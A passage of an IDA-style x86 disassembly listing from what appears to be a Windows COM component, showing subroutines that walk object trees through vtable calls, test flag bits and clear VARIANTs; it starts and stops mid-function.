push dword ptr [eax+50h]
push eax
xor eax, eax
push eax
push eax
push [ebp+var_C]
push eax
push eax
push 1
call sub_69B49219
push esi
push eax
mov ecx, edi
call sub_69B499AC
loc_69B4A4D8: ; CODE XREF: sub_69B4A3AE+88j
and [ebp+var_4], 0
xor ebx, ebx
xor edi, edi
loc_69B4A4E0: ; CODE XREF: sub_69B4A3AE+7Fj
test esi, esi
jz short loc_69B4A523
mov eax, [esi+8]
mov ecx, eax
shr ecx, 11h
test cl, 1
jnz short loc_69B4A50D
test eax, 1F0C0000h
jnz short loc_69B4A50D
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
test eax, eax
jz short loc_69B4A50D
mov ecx, esi
call sub_69B4A3AE
loc_69B4A50D: ; CODE XREF: sub_69B4A3AE+65j
; sub_69B4A3AE+78j ...
mov ecx, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
call sub_69B47DCC
mov [ebp+var_14], eax
mov esi, eax
jmp loc_69B4A3F1
; ---------------------------------------------------------------------------
loc_69B4A523: ; CODE XREF: sub_69B4A3AE+134j
pop ebx
loc_69B4A524: ; CODE XREF: sub_69B4A3AE+32j
pop edi
loc_69B4A525: ; CODE XREF: sub_69B4A3AE+1Cj
pop esi
leave
retn
sub_69B4A3AE endp
; =============== S U B R O U T I N E =======================================
sub_69B4A528 proc near ; CODE XREF: sub_69B53B0C+5Fp
push esi
mov esi, ecx
mov ecx, [esi+8]
mov eax, ecx
shr eax, 11h
test al, 1
jnz short loc_69B4A53F
test ecx, 1F000000h
jz short loc_69B4A551
loc_69B4A53F: ; CODE XREF: sub_69B4A528+Dj
mov eax, ecx
shr eax, 18h
and eax, 1Fh
cmp eax, 3
jz short loc_69B4A551
cmp eax, 11h
jnz short loc_69B4A56F
loc_69B4A551: ; CODE XREF: sub_69B4A528+15j
; sub_69B4A528+22j
test ecx, 0C0000h
jnz short loc_69B4A56F
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
test eax, eax
jz short loc_69B4A56F
mov ecx, esi
pop esi
jmp sub_69B4A3AE
; ---------------------------------------------------------------------------
loc_69B4A56F: ; CODE XREF: sub_69B4A528+27j
; sub_69B4A528+2Fj ...
pop esi
retn
sub_69B4A528 endp
; =============== S U B R O U T I N E =======================================
sub_69B4A571 proc near ; CODE XREF: sub_69B43E7F:loc_69B43E98p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
cmp dword ptr [edi], 0
mov ebx, ecx
push edi
jnz short loc_69B4A59E
call sub_69B49F0B
jmp short loc_69B4A5A3
; ---------------------------------------------------------------------------
loc_69B4A587: ; CODE XREF: sub_69B4A571+36j
cmp [esp+0Ch+arg_4], 0
jz short loc_69B4A5A9
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp eax, [esp+0Ch+arg_4]
jz short loc_69B4A5A9
push edi
mov ecx, ebx
loc_69B4A59E: ; CODE XREF: sub_69B4A571+Dj
call sub_69B47DCC
loc_69B4A5A3: ; CODE XREF: sub_69B4A571+14j
mov esi, eax
test esi, esi
jnz short loc_69B4A587
loc_69B4A5A9: ; CODE XREF: sub_69B4A571+1Bj
; sub_69B4A571+28j
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B4A571 endp
; =============== S U B R O U T I N E =======================================
sub_69B4A5B1 proc near ; DATA XREF: .text:69B15300o
; .text:69B1DD50o
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov esi, edi
loc_69B4A5B7: ; CODE XREF: sub_69B4A5B1+33j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+110h]
test eax, eax
jz short loc_69B4A5CC
mov ecx, edi
call sub_69B48032
loc_69B4A5CC: ; CODE XREF: sub_69B4A5B1+12j
push [esp+8+arg_0]
mov ecx, esi
call sub_69B49F0B
mov esi, eax
test esi, esi
jz short loc_69B4A5ED
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 0Bh
jz short loc_69B4A5B7
mov eax, esi
loc_69B4A5E8: ; CODE XREF: sub_69B4A5B1+45j
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B4A5ED: ; CODE XREF: sub_69B4A5B1+2Aj
mov ecx, edi
call sub_69B48032
xor eax, eax
jmp short loc_69B4A5E8
sub_69B4A5B1 endp
; =============== S U B R O U T I N E =======================================
sub_69B4A5F8 proc near ; DATA XREF: .text:69B1530Co
; .text:69B1DD5Co
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B4A61D
mov eax, [esi]
call dword ptr [eax+118h]
test al, al
jnz short loc_69B4A618
mov ecx, esi
call sub_69B49E98
test eax, eax
jz short loc_69B4A61D
loc_69B4A618: ; CODE XREF: sub_69B4A5F8+13j
xor eax, eax
inc eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B4A61D: ; CODE XREF: sub_69B4A5F8+7j
; sub_69B4A5F8+1Ej
xor eax, eax
pop esi
retn
sub_69B4A5F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame thunk
sub_69B4A621 proc near ; DATA XREF: .text:69B15338o
; .text:69B1DD88o
jmp sub_69B4A0ED
sub_69B4A621 endp
; =============== S U B R O U T I N E =======================================
sub_69B4A626 proc near ; DATA XREF: .text:69B15360o
; .text:69B1DDB0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push dword ptr [ecx+0Ch]
push 0Fh
push [esp+8+arg_0]
call sub_69B49C1F
test eax, eax
push [esp+arg_4]
jz short loc_69B4A648
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+124h]
jmp short locret_69B4A64E
; ---------------------------------------------------------------------------
loc_69B4A648: ; CODE XREF: sub_69B4A626+14j
call VariantClear
locret_69B4A64E: ; CODE XREF: sub_69B4A626+20j
retn 8
sub_69B4A626 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4A651 proc near ; CODE XREF: sub_69B4CDC8+38p
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp+var_4]
push eax
mov esi, ecx
call sub_69B49F0B
jmp short loc_69B4A677
; ---------------------------------------------------------------------------
loc_69B4A663: ; CODE XREF: sub_69B4A651+28j
cmp [ebp+arg_0], 0
jz short loc_69B4A67B
lea eax, [ebp+var_4]
push eax
mov ecx, esi
call sub_69B47DCC
dec [ebp+arg_0]
loc_69B4A677: ; CODE XREF: sub_69B4A651+10j
test eax, eax
jnz short loc_69B4A663
loc_69B4A67B: ; CODE XREF: sub_69B4A651+16j
pop esi
leave
retn 4
sub_69B4A651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4A680 proc near ; CODE XREF: sub_69B4A6F9+35p
; sub_69B78A78+219p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
push edi
jnz short loc_69B4A6EF
mov edi, [ebp+arg_0]
test edi, edi
jz short loc_69B4A6A3
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
cmp eax, esi
jnz short loc_69B4A6EF
loc_69B4A6A3: ; CODE XREF: sub_69B4A680+13j
lea eax, [ebp+arg_0]
push eax
mov ecx, esi
xor ebx, ebx
call sub_69B49F0B
jmp short loc_69B4A6E7
; ---------------------------------------------------------------------------
loc_69B4A6B2: ; CODE XREF: sub_69B4A680+69j
cmp eax, edi
jz short loc_69B4A6EB
cmp [ebp+arg_8], 0FFFFFFFFh
jz short loc_69B4A6C9
xor ecx, ecx
mov cl, [eax+0Bh]
and ecx, 1Fh
cmp [ebp+arg_8], ecx
jnz short loc_69B4A6DC
loc_69B4A6C9: ; CODE XREF: sub_69B4A680+3Aj
cmp [ebp+arg_4], 0
jz short loc_69B4A6DB
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+38h]
cmp [ebp+arg_4], eax
jnz short loc_69B4A6DC
loc_69B4A6DB: ; CODE XREF: sub_69B4A680+4Dj
inc ebx
loc_69B4A6DC: ; CODE XREF: sub_69B4A680+47j
; sub_69B4A680+59j
lea eax, [ebp+arg_0]
push eax
mov ecx, esi
call sub_69B47DCC
loc_69B4A6E7: ; CODE XREF: sub_69B4A680+30j
test eax, eax
jnz short loc_69B4A6B2
loc_69B4A6EB: ; CODE XREF: sub_69B4A680+34j
mov eax, ebx
jmp short loc_69B4A6F2
; ---------------------------------------------------------------------------
loc_69B4A6EF: ; CODE XREF: sub_69B4A680+Cj
; sub_69B4A680+21j
or eax, 0FFFFFFFFh
loc_69B4A6F2: ; CODE XREF: sub_69B4A680+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B4A680 endp
; =============== S U B R O U T I N E =======================================
sub_69B4A6F9 proc near ; DATA XREF: .text:69B15320o
; .text:69B1DD70o
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push ebx
push esi
push edi
mov esi, ecx
jz short loc_69B4A716
mov eax, [esi]
call dword ptr [eax+38h]
xor ebx, ebx
mov bl, [esi+0Bh]
mov edi, eax
and ebx, 1Fh
jmp short loc_69B4A71B
; ---------------------------------------------------------------------------
loc_69B4A716: ; CODE XREF: sub_69B4A6F9+Aj
xor edi, edi
or ebx, 0FFFFFFFFh
loc_69B4A71B: ; CODE XREF: sub_69B4A6F9+1Bj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B4A735
push ebx
push edi
push esi
mov ecx, eax
call sub_69B4A680
jmp short loc_69B4A737
; ---------------------------------------------------------------------------
loc_69B4A735: ; CODE XREF: sub_69B4A6F9+2Ej
xor eax, eax
loc_69B4A737: ; CODE XREF: sub_69B4A6F9+3Aj
pop edi
pop esi
pop ebx
retn 4
sub_69B4A6F9 endp
; =============== S U B R O U T I N E =======================================
sub_69B4A73D proc near ; CODE XREF: sub_69B405D3+18p
; sub_69B4A9E3+Fp ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B48F23
mov edx, eax
test edx, edx
jnz short loc_69B4A767
mov ecx, esi
call sub_69B48267
test eax, eax
jz short loc_69B4A767
push [esp+4+arg_0]
mov ecx, esi
call sub_69B4A077
mov edx, eax
loc_69B4A767: ; CODE XREF: sub_69B4A73D+10j
; sub_69B4A73D+1Bj
mov eax, edx
pop esi
retn 4
sub_69B4A73D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4A76D proc near ; CODE XREF: sub_69B4A76D+E6p
; sub_69B4AAFC:loc_69B4AC9Ap
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov edi, ecx
mov bl, [edi+0Bh]
and bl, 1Fh
neg bl
sbb bl, bl
inc bl
jz short loc_69B4A793
cmp byte ptr [ebp+arg_8], 0
jnz short loc_69B4A793
lea eax, [ebp+arg_4]
push eax
call sub_69B4A16C
loc_69B4A793: ; CODE XREF: sub_69B4A76D+15j
; sub_69B4A76D+1Bj
mov al, byte ptr [ebp+arg_4]
xor ecx, ecx
cmp byte ptr [ebp+arg_C], cl
setz cl
inc ecx
neg al
sbb eax, eax
not eax
and eax, ecx
test bl, bl
mov [ebp+var_4], eax
mov eax, [edi+8]
jz short loc_69B4A7EF
loc_69B4A7B1: ; CODE XREF: sub_69B4A76D+92j
shr eax, 0Bh
test al, 1
jz short loc_69B4A7C4
mov ecx, [ebp+arg_0]
push 1
push 20h
call sub_69B312D9
loc_69B4A7C4: ; CODE XREF: sub_69B4A76D+49j
; sub_69B4A76D+90j
test byte ptr [edi+0Ah], 0Ch
jnz loc_69B4A8C5
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+110h]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B4A801
push [ebp+var_4]
mov ecx, [ebp+arg_0]
push eax
call sub_69B3146D
jmp loc_69B4A8C5
; ---------------------------------------------------------------------------
loc_69B4A7EF: ; CODE XREF: sub_69B4A76D+42j
mov ecx, eax
and ecx, 1F000000h
cmp ecx, 7000000h
jnz short loc_69B4A7C4
jmp short loc_69B4A7B1
; ---------------------------------------------------------------------------
loc_69B4A801: ; CODE XREF: sub_69B4A76D+6Fj
push esi
lea eax, [ebp+var_8]
push eax
mov ecx, edi
call sub_69B48DC1
jmp loc_69B4A8BA
; ---------------------------------------------------------------------------
loc_69B4A812: ; CODE XREF: sub_69B4A76D+151j
mov ecx, [esi+8]
mov eax, ecx
shr eax, 18h
and eax, 1Fh
sub eax, ebx
jz short loc_69B4A87E
dec eax
jz short loc_69B4A86B
sub eax, 5
jz short loc_69B4A85A
sub eax, 5
jz short loc_69B4A835
sub eax, 4
jz short loc_69B4A8AF
jmp short loc_69B4A899
; ---------------------------------------------------------------------------
loc_69B4A835: ; CODE XREF: sub_69B4A76D+BFj
cmp [edi+0Ch], ebx
jz short loc_69B4A899
mov ecx, esi
call sub_69B486D2
cmp eax, ebx
jz short loc_69B4A899
mov ecx, eax
loc_69B4A847: ; CODE XREF: sub_69B4A76D+119j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B4A76D
jmp short loc_69B4A899
; ---------------------------------------------------------------------------
loc_69B4A85A: ; CODE XREF: sub_69B4A76D+BAj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
cmp eax, ebx
jz short loc_69B4A899
push ebx
jmp short loc_69B4A890
; ---------------------------------------------------------------------------
loc_69B4A86B: ; CODE XREF: sub_69B4A76D+B5j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
cmp eax, ebx
jz short loc_69B4A899
push [ebp+var_4]
jmp short loc_69B4A890
; ---------------------------------------------------------------------------
loc_69B4A87E: ; CODE XREF: sub_69B4A76D+B2j
test ecx, 0C0000h
mov ecx, esi
jz short loc_69B4A847
push [ebp+var_4]
call sub_69B47E7F
loc_69B4A890: ; CODE XREF: sub_69B4A76D+FCj
; sub_69B4A76D+10Fj
mov ecx, [ebp+arg_0]
push eax
call sub_69B3146D
loc_69B4A899: ; CODE XREF: sub_69B4A76D+C6j
; sub_69B4A76D+CBj ...
mov eax, [esi+8]
shr eax, 0Ch
test al, 1
jz short loc_69B4A8AF
mov ecx, [ebp+arg_0]
push 1
push 20h
call sub_69B312D9
loc_69B4A8AF: ; CODE XREF: sub_69B4A76D+C4j
; sub_69B4A76D+134j
lea eax, [ebp+var_8]
push eax
mov ecx, edi
call sub_69B47DCC
loc_69B4A8BA: ; CODE XREF: sub_69B4A76D+A0j
mov esi, eax
cmp esi, ebx
jnz loc_69B4A812
pop esi
loc_69B4A8C5: ; CODE XREF: sub_69B4A76D+5Bj
; sub_69B4A76D+7Dj
pop edi
pop ebx
leave
retn 10h
sub_69B4A76D endp
; =============== S U B R O U T I N E =======================================
sub_69B4A8CB proc near ; CODE XREF: sub_69B42E14+49p
push 20h
push offset dword_69B4A978
call sub_69B19C5C
mov [ebp-1Ch], ecx
call sub_69B88D77
mov [ebp-20h], eax
push eax
call sub_69B887E9
mov esi, eax
add eax, 8
neg esi
sbb esi, esi
and esi, eax
mov [ebp-24h], esi
xor ebx, ebx
mov [ebp-28h], ebx
mov [ebp-2Ch], ebx
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov [ebp-4], ebx
push ebx
push 1
push esi
call sub_69B8A894
mov edi, eax
mov [ebp-28h], edi
mov [edi+8], bl
mov ecx, [ebp-1Ch]
mov eax, [ecx+0Ch]
mov [ebp-30h], eax
push ebx
push edi
push eax
call sub_69B173D1
mov ecx, edi
call sub_69B8A828
push dword ptr [ebp-20h]
call sub_69B2F0E0
mov [ebp-2Ch], eax
jmp short loc_69B4A963
; ---------------------------------------------------------------------------
loc_69B4A93D: ; DATA XREF: .text:69B4A97Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4A946: ; DATA XREF: .text:69B4A980o
mov esp, [ebp-18h]
mov ecx, [ebp-28h]
test ecx, ecx
jz short loc_69B4A955
call sub_69B8A828
loc_69B4A955: ; CODE XREF: sub_69B4A8CB+83j
mov esi, [ebp-24h]
mov eax, [esi]
push esi
call dword ptr [eax+8]
call sub_69B2E860
loc_69B4A963: ; CODE XREF: sub_69B4A8CB+70j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov eax, [ebp-2Ch]
call sub_69B1853C
retn
sub_69B4A8CB endp
; ---------------------------------------------------------------------------
align 4
dword_69B4A978 dd 0FFFFFFFFh dd offset loc_69B4A93D
dd offset loc_69B4A946
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4A984 proc near ; CODE XREF: sub_69B173D1+A1p
; sub_69B173D1+183p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push edi
lea eax, [ebp+var_4]
push eax
mov edi, ecx
call sub_69B48F23
jmp short loc_69B4A9D7
; ---------------------------------------------------------------------------
loc_69B4A997: ; CODE XREF: sub_69B4A984+57j
cmp [ebp+arg_8], 0
jz short loc_69B4A9B3
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
push edi
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B490BC
loc_69B4A9B3: ; CODE XREF: sub_69B4A984+17j
mov ecx, [ebp+arg_4]
push 20h
call sub_69B8A903
push 0
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B173D1
lea eax, [ebp+var_4]
push eax
mov ecx, edi
call sub_69B486B5
loc_69B4A9D7: ; CODE XREF: sub_69B4A984+11j
mov esi, eax
test esi, esi
jnz short loc_69B4A997
pop edi
pop esi
leave
retn 0Ch
sub_69B4A984 endp
; =============== S U B R O U T I N E =======================================
sub_69B4A9E3 proc near ; CODE XREF: sub_69B43E7F+12p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
cmp dword ptr [edi], 0
mov ebx, ecx
push edi
jnz short loc_69B4A9F9
call sub_69B4A73D
jmp short loc_69B4AA1C
; ---------------------------------------------------------------------------
loc_69B4A9F9: ; CODE XREF: sub_69B4A9E3+Dj
call sub_69B4A0ED
jmp short loc_69B4AA1C
; ---------------------------------------------------------------------------
loc_69B4AA00: ; CODE XREF: sub_69B4A9E3+3Dj
cmp [esp+0Ch+arg_4], 0
jz short loc_69B4AA22
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp eax, [esp+0Ch+arg_4]
jz short loc_69B4AA22
push edi
mov ecx, ebx
call sub_69B486B5
loc_69B4AA1C: ; CODE XREF: sub_69B4A9E3+14j
; sub_69B4A9E3+1Bj
mov esi, eax
test esi, esi
jnz short loc_69B4AA00
loc_69B4AA22: ; CODE XREF: sub_69B4A9E3+22j
; sub_69B4A9E3+2Fj
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B4A9E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B4AA2A proc near ; DATA XREF: .text:69B15334o
; .text:69B1DD84o
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+110h]
test eax, eax
jz short loc_69B4AA40
mov ecx, esi
call sub_69B48032
loc_69B4AA40: ; CODE XREF: sub_69B4AA2A+Dj
push [esp+4+arg_0]
mov ecx, esi
call sub_69B4A73D
pop esi
retn 4
sub_69B4AA2A endp
; =============== S U B R O U T I N E =======================================
sub_69B4AA4F proc near ; CODE XREF: sub_69B4AAFC+55p
push 18h
push offset dword_69B4AAF0
call sub_69B19C5C
mov edi, ecx
call sub_69B88D77
mov [ebp-1Ch], eax
push eax
call sub_69B887E9
mov esi, eax
add eax, 8
neg esi
sbb esi, esi
and esi, eax
mov [ebp-20h], esi
xor ebx, ebx
mov [ebp-24h], ebx
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov [ebp-4], ebx
push ebx
push 1
push esi
call sub_69B8A894
mov [ebp-24h], eax
mov eax, [edi+0Ch]
mov [ebp-28h], eax
push ebx
push dword ptr [ebp-24h]
push eax
mov ecx, edi
call sub_69B4A984
mov ecx, [ebp-24h]
call sub_69B8A828
jmp short loc_69B4AAD5
; ---------------------------------------------------------------------------
loc_69B4AAAF: ; DATA XREF: .text:69B4AAF4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4AAB8: ; DATA XREF: .text:69B4AAF8o
mov esp, [ebp-18h]
mov ecx, [ebp-24h]
test ecx, ecx
jz short loc_69B4AAC7
call sub_69B8A828
loc_69B4AAC7: ; CODE XREF: sub_69B4AA4F+71j
mov esi, [ebp-20h]
mov eax, [esi]
push esi
call dword ptr [eax+8]
call sub_69B2E860
loc_69B4AAD5: ; CODE XREF: sub_69B4AA4F+5Ej
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [esi]
push esi
call dword ptr [eax+8]
push dword ptr [ebp-1Ch]
call sub_69B2F0E0
call sub_69B1853C
retn
sub_69B4AA4F endp
; ---------------------------------------------------------------------------
align 10h
dword_69B4AAF0 dd 0FFFFFFFFh dd offset loc_69B4AAAF
dd offset loc_69B4AAB8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4AAFC proc near ; CODE XREF: sub_69B40333+15p
; sub_69B41434+84p ...
var_18 = byte ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
push edi
xor eax, eax
mov edi, ecx
mov al, [edi+0Bh]
and eax, 1Fh
mov esi, eax
cmp esi, 4
mov [ebp+var_8], esi
jz short loc_69B4AB2B
cmp esi, 3
jnz short loc_69B4AB4A
xor esi, esi
push esi
push esi
push esi
call sub_69B49C1F
cmp eax, esi
jnz short loc_69B4AB35
loc_69B4AB2B: ; CODE XREF: sub_69B4AAFC+1Aj
mov eax, offset off_69B1A5AC
jmp loc_69B4ACF8
; ---------------------------------------------------------------------------
loc_69B4AB35: ; CODE XREF: sub_69B4AAFC+2Dj
push [ebp+arg_8]
mov ecx, eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B4AAFC
jmp loc_69B4ACF8
; ---------------------------------------------------------------------------
loc_69B4AB4A: ; CODE XREF: sub_69B4AAFC+1Fj
cmp esi, 12h
jnz short loc_69B4AB62
mov ecx, edi
call sub_69B4AA4F
mov ecx, eax
call sub_69B2F43C
jmp loc_69B4ACF8
; ---------------------------------------------------------------------------
loc_69B4AB62: ; CODE XREF: sub_69B4AAFC+51j
cmp byte ptr [ebp+arg_4], 0
jnz short loc_69B4AB77
test esi, esi
jnz short loc_69B4AB77
lea eax, [ebp+arg_0]
push eax
mov ecx, edi
call sub_69B4A16C
loc_69B4AB77: ; CODE XREF: sub_69B4AAFC+6Aj
; sub_69B4AAFC+6Ej
mov eax, [edi+0Ch]
cmp byte ptr [eax+8Dh], 0
push ebx
mov ebx, [ebp+arg_0]
setz byte ptr [ebp+var_4]
cmp esi, 0Bh
jz loc_69B4AC65
cmp byte ptr [ebp+var_4], 0
jnz loc_69B4AC65
mov eax, [edi+8]
test eax, 0C0000h
jnz short loc_69B4AC09
test bl, bl
jz short loc_69B4ABB5
shr eax, 0Bh
test al, 1
jnz loc_69B4AC65
loc_69B4ABB5: ; CODE XREF: sub_69B4AAFC+ACj
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+110h]
mov esi, eax
test esi, esi
jnz short loc_69B4AC1A
lea eax, [ebp+arg_0]
push eax
mov ecx, edi
call sub_69B49F0B
mov esi, eax
test esi, esi
jz loc_69B4ACF2
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+108h]
cmp esi, eax
jnz short loc_69B4AC65
test bl, bl
jz short loc_69B4ABF6
mov eax, [esi+8]
shr eax, 0Ch
test al, 1
jnz short loc_69B4AC65
loc_69B4ABF6: ; CODE XREF: sub_69B4AAFC+EEj
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push ebx
call sub_69B4AAFC
jmp loc_69B4ACF7
; ---------------------------------------------------------------------------
loc_69B4AC09: ; CODE XREF: sub_69B4AAFC+A8j
mov ecx, edi
call sub_69B47E7F
mov esi, eax
test esi, esi
jz loc_69B4ACF2
loc_69B4AC1A: ; CODE XREF: sub_69B4AAFC+C7j
test bl, bl
jnz short loc_69B4AC2D
cmp [ebp+var_8], 6
jz short loc_69B4AC2D
mov ecx, esi
call sub_69B2F43C
mov esi, eax
loc_69B4AC2D: ; CODE XREF: sub_69B4AAFC+120j
; sub_69B4AAFC+126j
cmp byte ptr [ebp+arg_8], 0
jz short loc_69B4AC5E
mov eax, [esi+8]
mov ecx, [esi+0Ch]
push 0
push eax
push ecx
call sub_69B31195
test al, al
jz short loc_69B4AC5E
mov eax, [esi+8]
mov esi, [esi+0Ch]
push eax
push esi
call sub_69B190D7
mov esi, eax
push 0
mov ecx, esi
call sub_69B2ECE4
loc_69B4AC5E: ; CODE XREF: sub_69B4AAFC+135j
; sub_69B4AAFC+148j
mov eax, esi
jmp loc_69B4ACF7
; ---------------------------------------------------------------------------
loc_69B4AC65: ; CODE XREF: sub_69B4AAFC+90j
; sub_69B4AAFC+9Aj ...
push 20h
lea ecx, [ebp+var_18]
call sub_69B3109C
mov eax, [edi+8]
mov ecx, eax
and ecx, 1F000000h
cmp ecx, 0B000000h
mov ecx, edi
jnz short loc_69B4ACA1
call sub_69B486D2
test eax, eax
jz short loc_69B4ACD5
push [ebp+var_4]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
push ebx
push ecx
mov ecx, eax
loc_69B4AC9A: ; CODE XREF: sub_69B4AAFC+1B7j
call sub_69B4A76D
jmp short loc_69B4ACD5
; ---------------------------------------------------------------------------
loc_69B4ACA1: ; CODE XREF: sub_69B4AAFC+186j
test eax, 0C0000h
jnz short loc_69B4ACB5
push [ebp+var_4]
lea eax, [ebp+var_18]
push [ebp+arg_4]
push ebx
push eax
jmp short loc_69B4AC9A
; ---------------------------------------------------------------------------
loc_69B4ACB5: ; CODE XREF: sub_69B4AAFC+1AAj
xor eax, eax
cmp byte ptr [ebp+var_4], al
setz al
inc eax
neg bl
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
call sub_69B47E7F
push eax
lea ecx, [ebp+var_18]
call sub_69B3146D
loc_69B4ACD5: ; CODE XREF: sub_69B4AAFC+18Fj
; sub_69B4AAFC+1A3j
cmp byte ptr [ebp+arg_8], 0
jz short loc_69B4ACE6
push [ebp+var_4]
lea ecx, [ebp+var_18]
call sub_69B3128E
loc_69B4ACE6: ; CODE XREF: sub_69B4AAFC+1DDj
lea ecx, [ebp+var_18]
call sub_69B31267
test eax, eax
jnz short loc_69B4ACF7
loc_69B4ACF2: ; CODE XREF: sub_69B4AAFC+D8j
; sub_69B4AAFC+118j
mov eax, offset off_69B1A5AC
loc_69B4ACF7: ; CODE XREF: sub_69B4AAFC+108j
; sub_69B4AAFC+164j ...
pop ebx
loc_69B4ACF8: ; CODE XREF: sub_69B4AAFC+34j
; sub_69B4AAFC+49j ...
pop edi
pop esi
leave
retn 0Ch
sub_69B4AAFC endp
; =============== S U B R O U T I N E =======================================
sub_69B4ACFE proc near ; CODE XREF: sub_69B4ADB4+87p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B2EE79 SIZE 00000021 BYTES
push 1
push 1
push 0
call sub_69B4AAFC
mov ecx, eax
jmp loc_69B2EE79
sub_69B4ACFE endp
; =============== S U B R O U T I N E =======================================
sub_69B4AD10 proc near ; CODE XREF: sub_69B14EAC+109p
; sub_69B14EAC+139p ...
arg_0 = byte ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
mov esi, ecx
jnz short loc_69B4AD27
push edi
push 1
push edi
call sub_69B4AAFC
mov edi, eax
loc_69B4AD27: ; CODE XREF: sub_69B4AD10+Aj
mov ecx, edi
call sub_69B2EF67
test al, al
jnz short loc_69B4AD52
cmp [esp+8+arg_0], al
jz short loc_69B4AD4A
mov eax, [esi+0Ch]
mov ecx, [eax+70h]
push 1
push edi
push 2
call sub_69B4DE11
jmp short loc_69B4AD54
; ---------------------------------------------------------------------------
loc_69B4AD4A: ; CODE XREF: sub_69B4AD10+26j
push edi
call sub_69B1A2EC
jmp short loc_69B4AD54
; ---------------------------------------------------------------------------
loc_69B4AD52: ; CODE XREF: sub_69B4AD10+20j
xor eax, eax
loc_69B4AD54: ; CODE XREF: sub_69B4AD10+38j
; sub_69B4AD10+40j
pop edi
pop esi
retn 8
sub_69B4AD10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4AD59 proc near ; DATA XREF: .text:69B152E4o
; .text:69B1DD34o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
call sub_69B48032
mov eax, [ebp+arg_0]
xor ecx, ecx
sub eax, ecx
jz short loc_69B4AD93
dec eax
jz short loc_69B4AD8E
dec eax
jz short loc_69B4AD86
dec eax
jz short loc_69B4AD8E
dec eax
jnz short loc_69B4AD9B
test byte ptr [esi+0Ah], 0Ch
setnz al
mov byte ptr [ebp+var_4], al
jmp short loc_69B4AD97
; ---------------------------------------------------------------------------
loc_69B4AD86: ; CODE XREF: sub_69B4AD59+19j
